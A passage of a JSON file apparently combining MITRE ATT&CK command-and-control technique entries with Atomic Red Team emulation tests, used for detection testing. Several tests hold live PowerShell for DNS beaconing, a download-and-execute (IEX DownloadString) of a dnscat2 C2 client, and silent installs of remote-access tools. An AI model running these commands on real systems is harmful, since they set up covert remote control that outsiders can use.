- "source_name": "Pace University Detecting DGA May 2017",
- "url": "http://csis.pace.edu/~ctappert/srd2017/2017PDF/d4.pdf",
- "description": "Chen, L., Wang, T.. (2017, May 5). Detecting Algorithmically Generated Domains Using Data Visualization and N-Grams Methods . Retrieved April 26, 2019."
- },
- {
- "source_name": "Elastic Predicting DGA",
- "url": "https://arxiv.org/pdf/1611.00791.pdf",
- "description": "Ahuja, A., Anderson, H., Grant, D., Woodbridge, J.. (2016, November 2). Predicting Domain Generation Algorithms with Long Short-Term Memory Networks. Retrieved April 26, 2019."
- }
- ],
- "modified": "2022-03-11T18:26:23.432Z",
- "name": "Domain Generation Algorithms",
- "description": "Adversaries may make use of Domain Generation Algorithms (DGAs) to dynamically identify a destination domain for command and control traffic rather than relying on a list of static IP addresses or domains. This has the advantage of making it much harder for defenders to block, track, or take over the command and control channel, as there potentially could be thousands of domains that malware can check for instructions.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Unit 42 DGA Feb 2019)\n\nDGAs can take the form of apparently random or \u201cgibberish\u201d strings (ex: istgmxdejdnxuyla.ru) when they construct domain names by generating each letter. Alternatively, some DGAs employ whole words as the unit by concatenating words together instead of letters (ex: cityjulydish.net). Many DGAs are time-based, generating a different domain for each time period (hourly, daily, monthly, etc). Others incorporate a seed value as well to make predicting future domains more difficult for defenders.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Talos CCleanup 2017)(Citation: Akamai DGA Mitigation)\n\nAdversaries may use DGAs for the purpose of [Fallback Channels](https://attack.mitre.org/techniques/T1008). When contact is lost with the primary command and control server malware may employ a DGA as a means to reestablishing command and control.(Citation: Talos CCleanup 2017)(Citation: FireEye POSHSPY April 2017)(Citation: ESET Sednit 2017 Activity)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "command-and-control"
- }
- ],
- "x_mitre_detection": "Detecting dynamically generated domains can be challenging due to the number of different DGA algorithms, constantly evolving malware families, and the increasing complexity of the algorithms. There is a myriad of approaches for detecting a pseudo-randomly generated domain name, including using frequency analysis, Markov chains, entropy, proportion of dictionary words, ratio of vowels to other characters, and more.(Citation: Data Driven Security DGA) CDN domains may trigger these detections due to the format of their domain names. In addition to detecting a DGA domain based on the name, another more general approach for detecting a suspicious domain is to check for recently registered names or for rarely visited domains.\n\nMachine learning approaches to detecting DGA domains have been developed and have seen success in applications. One approach is to use N-Gram methods to determine a randomness score for strings used in the domain name. If the randomness score is high, and the domains are not whitelisted (CDN, etc), then it may be determined if a domain is related to a legitimate host or DGA.(Citation: Pace University Detecting DGA May 2017) Another approach is to use deep learning to classify domains as DGA-generated.(Citation: Elastic Predicting DGA)",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Network Traffic: Network Connection Creation",
- "Network Traffic: Network Traffic Flow"
- ],
- "x_mitre_permissions_required": [
- "User"
- ]
- },
- "atomic_tests": []
- },
- "T1071.004": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Jan Petrov, Citi"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72",
- "type": "attack-pattern",
- "created": "2020-03-15T16:27:31.768Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1071.004",
- "url": "https://attack.mitre.org/techniques/T1071/004"
- },
- {
- "source_name": "PAN DNS Tunneling",
- "url": "https://www.paloaltonetworks.com/cyberpedia/what-is-dns-tunneling",
- "description": "Palo Alto Networks. (n.d.). What Is DNS Tunneling?. Retrieved March 15, 2020."
- },
- {
- "source_name": "Medium DnsTunneling",
- "url": "https://medium.com/@galolbardes/learn-how-easy-is-to-bypass-firewalls-using-dns-tunneling-and-also-how-to-block-it-3ed652f4a000",
- "description": "Galobardes, R. (2018, October 30). Learn how easy is to bypass firewalls using DNS tunneling (and also how to block it). Retrieved March 15, 2020."
- },
- {
- "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
- "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
- "source_name": "University of Birmingham C2"
- }
- ],
- "modified": "2020-10-21T16:26:34.196Z",
- "name": "Application Layer Protocol: DNS",
- "description": "Adversaries may communicate using the Domain Name System (DNS) application layer protocol to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. \n\nThe DNS protocol serves an administrative function in computer networking and thus may be very common in environments. DNS traffic may also be allowed even before network authentication is completed. DNS packets contain many fields and headers in which data can be concealed. Often known as DNS tunneling, adversaries may abuse DNS to communicate with systems under their control within a victim network while also mimicking normal, expected traffic.(Citation: PAN DNS Tunneling)(Citation: Medium DnsTunneling) ",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "command-and-control"
- }
- ],
- "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol standards regarding syntax, structure, or any other variable adversaries could leverage to conceal data.(Citation: University of Birmingham C2)\n\nMonitor for DNS traffic to/from known-bad or suspicious domains.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Network Traffic: Network Traffic Content",
- "Network Traffic: Network Traffic Flow"
- ],
- "identifier": "T1071.004"
- },
- "atomic_tests": [
- {
- "name": "DNS Large Query Volume",
- "auto_generated_guid": "1700f5d6-5a44-487b-84de-bc66f507b0a6",
- "description": "This test simulates an infected host sending a large volume of DNS queries to a command and control server.\nThe intent of this test is to trigger threshold based detection on the number of DNS queries either from a single source system or to a single targe domain.\nA custom domain and sub-domain will need to be passed as input parameters for this test to work. Upon execution, DNS information about the domain will be displayed for each callout.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "query_type": {
- "description": "DNS query type",
- "type": "string",
- "default": "TXT"
- },
- "subdomain": {
- "description": "Subdomain prepended to the domain name",
- "type": "string",
- "default": "atomicredteam"
- },
- "query_volume": {
- "description": "Number of DNS queries to send",
- "type": "integer",
- "default": 1000
- },
- "domain": {
- "description": "Default domain to simulate against",
- "type": "string",
- "default": "127.0.0.1.xip.io"
- }
- },
- "executor": {
- "command": "for($i=0; $i -le #{query_volume}; $i++) { Resolve-DnsName -type \"#{query_type}\" \"#{subdomain}.$(Get-Random -Minimum 1 -Maximum 999999).#{domain}\" -QuickTimeout}\n",
- "name": "powershell"
- }
- },
- {
- "name": "DNS Regular Beaconing",
- "auto_generated_guid": "3efc144e-1af8-46bb-8ca2-1376bb6db8b6",
- "description": "This test simulates an infected host beaconing via DNS queries to a command and control server at regular intervals over time.\nThis behaviour is typical of implants either in an idle state waiting for instructions or configured to use a low query volume over time to evade threshold based detection.\nA custom domain and sub-domain will need to be passed as input parameters for this test to work. Upon execution, DNS information about the domain will be displayed for each callout.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "runtime": {
- "description": "Time in minutes to run the simulation",
- "type": "integer",
- "default": 30
- },
- "domain": {
- "description": "Default domain to simulate against",
- "type": "string",
- "default": "127.0.0.1.xip.io"
- },
- "subdomain": {
- "description": "Subdomain prepended to the domain name",
- "type": "string",
- "default": "atomicredteam"
- },
- "query_type": {
- "description": "DNS query type",
- "type": "string",
- "default": "TXT"
- },
- "c2_interval": {
- "description": "Seconds between C2 requests to the command and control server",
- "type": "integer",
- "default": 30
- },
- "c2_jitter": {
- "description": "Percentage of jitter to add to the C2 interval to create variance in the times between C2 requests",
- "type": "integer",
- "default": 20
- }
- },
- "executor": {
- "command": "Set-Location PathToAtomicsFolder\n.\\T1071.004\\src\\T1071-dns-beacon.ps1 -Domain #{domain} -Subdomain #{subdomain} -QueryType #{query_type} -C2Interval #{c2_interval} -C2Jitter #{c2_jitter} -RunTime #{runtime}\n",
- "name": "powershell"
- }
- },
- {
- "name": "DNS Long Domain Query",
- "auto_generated_guid": "fef31710-223a-40ee-8462-a396d6b66978",
- "description": "This test simulates an infected host returning data to a command and control server using long domain names.\nThe simulation involves sending DNS queries that gradually increase in length until reaching the maximum length. The intent is to test the effectiveness of detection of DNS queries for long domain names over a set threshold.\n Upon execution, DNS information about the domain will be displayed for each callout.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "query_type": {
- "description": "DNS query type",
- "type": "string",
- "default": "TXT"
- },
- "subdomain": {
- "description": "Subdomain prepended to the domain name (should be 63 characters to test maximum length)",
- "type": "string",
- "default": "atomicredteamatomicredteamatomicredteamatomicredteamatomicredte"
- },
- "domain": {
- "description": "Default domain to simulate against",
- "type": "string",
- "default": "127.0.0.1.xip.io"
- }
- },
- "executor": {
- "command": "Set-Location PathToAtomicsFolder\n.\\T1071.004\\src\\T1071-dns-domain-length.ps1 -Domain #{domain} -Subdomain #{subdomain} -QueryType #{query_type}\n",
- "name": "powershell"
- }
- },
- {
- "name": "DNS C2",
- "auto_generated_guid": "e7bf9802-2e78-4db9-93b5-181b7bcd37d7",
- "description": "This will attempt to start a C2 session using the DNS protocol. You will need to have a listener set up and create DNS records prior to executing this command.\nThe following blogs have more information.\n\nhttps://github.com/iagox86/dnscat2\n\nhttps://github.com/lukebaggett/dnscat2-powershell\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "domain": {
- "description": "Domain Name configured to use DNS Server where your C2 listener is running",
- "type": "string",
- "default": "example.com"
- },
- "server_ip": {
- "description": "IP address of DNS server where your C2 listener is running",
- "type": "string",
- "default": "127.0.0.1"
- }
- },
- "executor": {
- "command": "IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/lukebaggett/dnscat2-powershell/45836819b2339f0bb64eaf294f8cc783635e00c6/dnscat2.ps1')\nStart-Dnscat2 -Domain #{domain} -DNSServer #{server_ip}\n",
- "name": "powershell"
- }
- }
- ]
- },
- "T1172": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Matt Kelly, @breakersall"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--1ce03c65-5946-4ac9-9d4d-66db87e024bd",
- "type": "attack-pattern",
- "created": "2018-01-16T16:13:52.465Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1172",
- "url": "https://attack.mitre.org/techniques/T1172"
- },
- {
- "url": "http://www.icir.org/vern/papers/meek-PETS-2015.pdf",
- "description": "David Fifield, Chang Lan, Rod Hynes, Percy Wegmann, and Vern Paxson. (2015). Blocking-resistant communication through domain fronting. Retrieved November 20, 2017.",
- "source_name": "Fifield Blocking Resistent Communication through domain fronting 2015"
- }
- ],
- "modified": "2020-03-14T23:29:54.083Z",
- "name": "Domain Fronting",
- "description": "Domain fronting takes advantage of routing schemes in Content Delivery Networks (CDNs) and other services which host multiple domains to obfuscate the intended destination of HTTPS traffic or traffic tunneled through HTTPS. (Citation: Fifield Blocking Resistent Communication through domain fronting 2015) The technique involves using different domain names in the SNI field of the TLS header and the Host field of the HTTP header. If both domains are served from the same CDN, then the CDN may route to the address specified in the HTTP header after unwrapping the TLS header. A variation of the the technique, \"domainless\" fronting, utilizes a SNI field that is left blank; this may allow the fronting to work even when the CDN attempts to validate that the SNI and HTTP Host fields match (if the blank SNI fields are ignored).\n\nFor example, if domain-x and domain-y are customers of the same CDN, it is possible to place domain-x in the TLS header and domain-y in the HTTP header. Traffic will appear to be going to domain-x, however the CDN may route it to domain-y.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "command-and-control"
- }
- ],
- "x_mitre_detection": "If SSL inspection is in place or the traffic is not encrypted, the Host field of the HTTP header can be checked if it matches the HTTPS SNI or against a blacklist or whitelist of domain names. (Citation: Fifield Blocking Resistent Communication through domain fronting 2015)",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1573.001": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "Windows",
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41",
- "type": "attack-pattern",
- "created": "2020-03-16T15:45:17.032Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1573.001",
- "url": "https://attack.mitre.org/techniques/T1573/001"
- },
- {
- "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
- "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
- "source_name": "University of Birmingham C2"
- }
- ],
- "modified": "2020-03-26T21:25:37.306Z",
- "name": "Symmetric Cryptography",
- "description": "Adversaries may employ a known symmetric encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Symmetric encryption algorithms use the same key for plaintext encryption and ciphertext decryption. Common symmetric encryption algorithms include AES, DES, 3DES, Blowfish, and RC4.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "command-and-control"
- }
- ],
- "x_mitre_detection": "With symmetric encryption, it may be possible to obtain the algorithm and key from samples and use them to decode network traffic to detect malware communications signatures.\n\nIn general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Network Traffic: Network Traffic Content"
- ]
- },
- "atomic_tests": []
- },
- "T1568.001": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--29ba5a15-3b7b-4732-b817-65ea8f6468e6",
- "type": "attack-pattern",
- "created": "2020-03-11T14:11:16.560Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1568.001",
- "url": "https://attack.mitre.org/techniques/T1568/001"
- },
- {
- "url": "https://resources.infosecinstitute.com/fast-flux-networks-working-detection-part-1/#gref",
- "description": "Mehta, L. (2014, December 17). Fast Flux Networks Working and Detection, Part 1. Retrieved March 6, 2017.",
- "source_name": "MehtaFastFluxPt1"
- },
- {
- "source_name": "MehtaFastFluxPt2",
- "description": "Mehta, L. (2014, December 23). Fast Flux Networks Working and Detection, Part 2. Retrieved March 6, 2017.",
- "url": "https://resources.infosecinstitute.com/fast-flux-networks-working-detection-part-2/#gref"
- },
- {
- "source_name": "Fast Flux - Welivesecurity",
- "url": "https://www.welivesecurity.com/2017/01/12/fast-flux-networks-work/",
- "description": "Albors, Josep. (2017, January 12). Fast Flux networks: What are they and how do they work?. Retrieved March 11, 2020."
- }
- ],
- "modified": "2020-03-27T16:10:37.183Z",
- "name": "Fast Flux DNS",
- "description": "Adversaries may use Fast Flux DNS to hide a command and control channel behind an array of rapidly changing IP addresses linked to a single domain resolution. This technique uses a fully qualified domain name, with multiple IP addresses assigned to it which are swapped with high frequency, using a combination of round robin IP addressing and short Time-To-Live (TTL) for a DNS resource record.(Citation: MehtaFastFluxPt1)(Citation: MehtaFastFluxPt2)(Citation: Fast Flux - Welivesecurity)\n\nThe simplest, \"single-flux\" method, involves registering and de-registering an addresses as part of the DNS A (address) record list for a single DNS name. These registrations have a five-minute average lifespan, resulting in a constant shuffle of IP address resolution.(Citation: Fast Flux - Welivesecurity)\n\nIn contrast, the \"double-flux\" method registers and de-registers an address as part of the DNS Name Server record list for the DNS zone, providing additional resilience for the connection. With double-flux additional hosts can act as a proxy to the C2 host, further insulating the true source of the C2 channel.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "command-and-control"
- }
- ],
- "x_mitre_detection": "In general, detecting usage of fast flux DNS is difficult due to web traffic load balancing that services client requests quickly. In single flux cases only IP addresses change for static domain names. In double flux cases, nothing is static. Defenders such as domain registrars and service providers are likely in the best position for detection.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Network Traffic: Network Traffic Flow",
- "Network Traffic: Network Connection Creation"
- ]
- },
- "atomic_tests": []
- },
- "T1071": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6",
- "type": "attack-pattern",
- "created": "2017-05-31T21:30:56.776Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1071",
- "url": "https://attack.mitre.org/techniques/T1071"
- },
- {
- "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
- "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
- "source_name": "University of Birmingham C2"
- }
- ],
- "modified": "2020-10-21T16:35:45.986Z",
- "name": "Application Layer Protocol",
- "description": "Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. \n\nAdversaries may utilize many different protocols, including those used for web browsing, transferring files, electronic mail, or DNS. For connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), commonly used protocols are SMB, SSH, or RDP. ",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "command-and-control"
- }
- ],
- "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol standards regarding syntax, structure, or any other variable adversaries could leverage to conceal data.(Citation: University of Birmingham C2)",
- "x_mitre_version": "2.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Network Traffic: Network Traffic Flow",
- "Network Traffic: Network Traffic Content"
- ]
- },
- "atomic_tests": []
- },
- "T1024": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d",
- "type": "attack-pattern",
- "created": "2017-05-31T21:30:31.197Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1024",
- "url": "https://attack.mitre.org/techniques/T1024"
- },
- {
- "url": "https://blog.f-secure.com/wp-content/uploads/2019/10/CosmicDuke.pdf",
- "description": "F-Secure Labs. (2014, July). COSMICDUKE Cosmu with a twist of MiniDuke. Retrieved July 3, 2014.",
- "source_name": "F-Secure Cosmicduke"
- },
- {
- "url": "https://www.fidelissecurity.com/sites/default/files/FTA_1018_looking_at_the_sky_for_a_dark_comet.pdf",
- "description": "Fidelis Cybersecurity. (2015, August 4). Looking at the Sky for a DarkComet. Retrieved April 5, 2016.",
- "source_name": "Fidelis DarkComet"
- },
- {
- "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
- "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
- "source_name": "University of Birmingham C2"
- }
- ],
- "modified": "2021-07-20T21:57:36.046Z",
- "name": "Custom Cryptographic Protocol",
- "description": "Adversaries may use a custom cryptographic protocol or algorithm to hide command and control traffic. A simple scheme, such as XOR-ing the plaintext with a fixed key, will produce a very weak ciphertext.\n\nCustom encryption schemes may vary in sophistication. Analysis and reverse engineering of malware samples may be enough to discover the algorithm and encryption key used.\n\nSome adversaries may also attempt to implement their own version of a well-known cryptographic algorithm instead of using a known implementation library, which may lead to unintentional errors. (Citation: F-Secure Cosmicduke)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "command-and-control"
- }
- ],
- "x_mitre_detection": "If malware uses custom encryption with symmetric keys, it may be possible to obtain the algorithm and key from samples and use them to decode network traffic to detect malware communications signatures. (Citation: Fidelis DarkComet)\n\nIn general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect when communications do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1219": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "Windows",
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Matt Kelly, @breakersall",
- "Zachary Stanford, @svch0st"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--4061e78c-1284-44b4-9116-73e4ac3912f7",
- "created": "2018-04-18T17:59:24.739Z",
- "x_mitre_version": "2.1",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1219",
- "url": "https://attack.mitre.org/techniques/T1219"
- },
- {
- "source_name": "CrowdStrike 2015 Global Threat Report",
- "url": "https://go.crowdstrike.com/rs/281-OBQ-266/images/15GlobalThreatReport.pdf",
- "description": "CrowdStrike Intelligence. (2016). 2015 Global Threat Report. Retrieved April 11, 2018."
- },
- {
- "source_name": "CrySyS Blog TeamSpy",
- "url": "https://blog.crysys.hu/2013/03/teamspy/",
- "description": "CrySyS Lab. (2013, March 20). TeamSpy \u2013 Obshie manevri. Ispolzovat\u2019 tolko s razreshenija S-a. Retrieved April 11, 2018."
- },
- {
- "source_name": "Symantec Living off the Land",
- "url": "https://www.symantec.com/content/dam/symantec/docs/security-center/white-papers/istr-living-off-the-land-and-fileless-attack-techniques-en.pdf",
- "description": "Wueest, C., Anand, H. (2017, July). Living off the land and fileless attack techniques. Retrieved April 10, 2018."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "An adversary may use legitimate desktop support and remote access software, such as Team Viewer, AnyDesk, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment. Remote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries.(Citation: Symantec Living off the Land)\n\nRemote access tools may be installed and used post-compromise as alternate communications channel for redundant access or as a way to establish an interactive remote desktop session with the target system. They may also be used as a component of malware to establish a reverse connection or back-connect to a service or adversary controlled system. Installation of many remote access tools may also include persistence (ex: the tool's installation routine creates a [Windows Service](https://attack.mitre.org/techniques/T1543/003)).\n\nAdmin tools such as TeamViewer have been used by several groups targeting institutions in countries of interest to the Russian state and criminal campaigns.(Citation: CrowdStrike 2015 Global Threat Report)(Citation: CrySyS Blog TeamSpy)",
- "modified": "2022-04-21T14:54:10.899Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Remote Access Software",
- "x_mitre_detection": "Monitor for applications and processes related to remote admin tools. Correlate activity with other suspicious behavior that may reduce false positives if these tools are used by legitimate users and administrators.\n\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol for the port that is being used.\n\n[Domain Fronting](https://attack.mitre.org/techniques/T1090/004) may be used in conjunction to avoid defenses. Adversaries will likely need to deploy and/or install these remote tools to compromised systems. It may be possible to detect or prevent the installation of these tools with host-based solutions.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "command-and-control"
- }
- ],
- "x_mitre_is_subtechnique": false,
- "x_mitre_data_sources": [
- "Process: Process Creation",
- "Network Traffic: Network Traffic Content",
- "Network Traffic: Network Traffic Flow",
- "Network Traffic: Network Connection Creation"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "identifier": "T1219"
- },
- "atomic_tests": [
- {
- "name": "TeamViewer Files Detected Test on Windows",
- "auto_generated_guid": "8ca3b96d-8983-4a7f-b125-fc98cc0a2aa0",
- "description": "An adversary may attempt to trick the user into downloading teamviewer and using this to maintain access to the machine. Download of TeamViewer installer will be at the destination location when sucessfully executed.\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "Invoke-WebRequest -OutFile C:\\Users\\$env:username\\Desktop\\TeamViewer_Setup.exe https://download.teamviewer.com/download/TeamViewer_Setup.exe\n$file1 = \"C:\\Users\\\" + $env:username + \"\\Desktop\\TeamViewer_Setup.exe\"\nStart-Process -Wait $file1 /S; \nStart-Process 'C:\\Program Files (x86)\\TeamViewer\\TeamViewer.exe'\n",
- "cleanup_command": "$file = 'C:\\Program Files (x86)\\TeamViewer\\uninstall.exe'\nif(Test-Path $file){ Start-Process $file \"/S\" -ErrorAction Ignore | Out-Null }\n$file1 = \"C:\\Users\\\" + $env:username + \"\\Desktop\\TeamViewer_Setup.exe\"\nRemove-Item $file1 -ErrorAction Ignore | Out-Null",
- "name": "powershell",
- "elevation_required": true
- }
- },
- {
- "name": "AnyDesk Files Detected Test on Windows",
- "auto_generated_guid": "6b8b7391-5c0a-4f8c-baee-78d8ce0ce330",
- "description": "An adversary may attempt to trick the user into downloading AnyDesk and use to establish C2. Download of AnyDesk installer will be at the destination location and ran when sucessfully executed.\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "Invoke-WebRequest -OutFile C:\\Users\\$env:username\\Desktop\\AnyDesk.exe https://download.anydesk.com/AnyDesk.exe\n$file1 = \"C:\\Users\\\" + $env:username + \"\\Desktop\\AnyDesk.exe\"\nStart-Process $file1 /S;\n",
- "cleanup_command": "$file1 = \"C:\\Users\\\" + $env:username + \"\\Desktop\\AnyDesk.exe.exe\"\nRemove-Item $file1 -ErrorAction Ignore",
- "name": "powershell",
- "elevation_required": true
- }
- },
- {
- "name": "LogMeIn Files Detected Test on Windows",
- "auto_generated_guid": "d03683ec-aae0-42f9-9b4c-534780e0f8e1",
- "description": "An adversary may attempt to trick the user into downloading LogMeIn and use to establish C2. Download of LogMeIn installer will be at the destination location and ran when sucessfully executed.\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "Invoke-WebRequest -OutFile C:\\Users\\$env:username\\Desktop\\LogMeInIgnition.msi https://secure.logmein.com/LogMeInIgnition.msi\n$file1 = \"C:\\Users\\\" + $env:username + \"\\Desktop\\LogMeInIgnition.msi\"\nStart-Process -Wait $file1 /quiet;\nStart-Process 'C:\\Program Files (x86)\\LogMeIn Ignition\\LMIIgnition.exe' \"/S\"\n",
- "cleanup_command": "get-package *'LogMeIn Client'* -ErrorAction Ignore | uninstall-package \n$file1 = \"C:\\Users\\\" + $env:username + \"\\Desktop\\LogMeInIgnition.msi\"\nRemove-Item $file1 -ErrorAction Ignore",
- "name": "powershell",
- "elevation_required": true
- }
- },
- {
- "name": "GoToAssist Files Detected Test on Windows",
- "auto_generated_guid": "1b72b3bd-72f8-4b63-a30b-84e91b9c3578",
- "description": "An adversary may attempt to trick the user into downloading GoToAssist and use to establish C2. Download of GoToAssist installer will be at the destination location and ran when sucessfully executed.\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
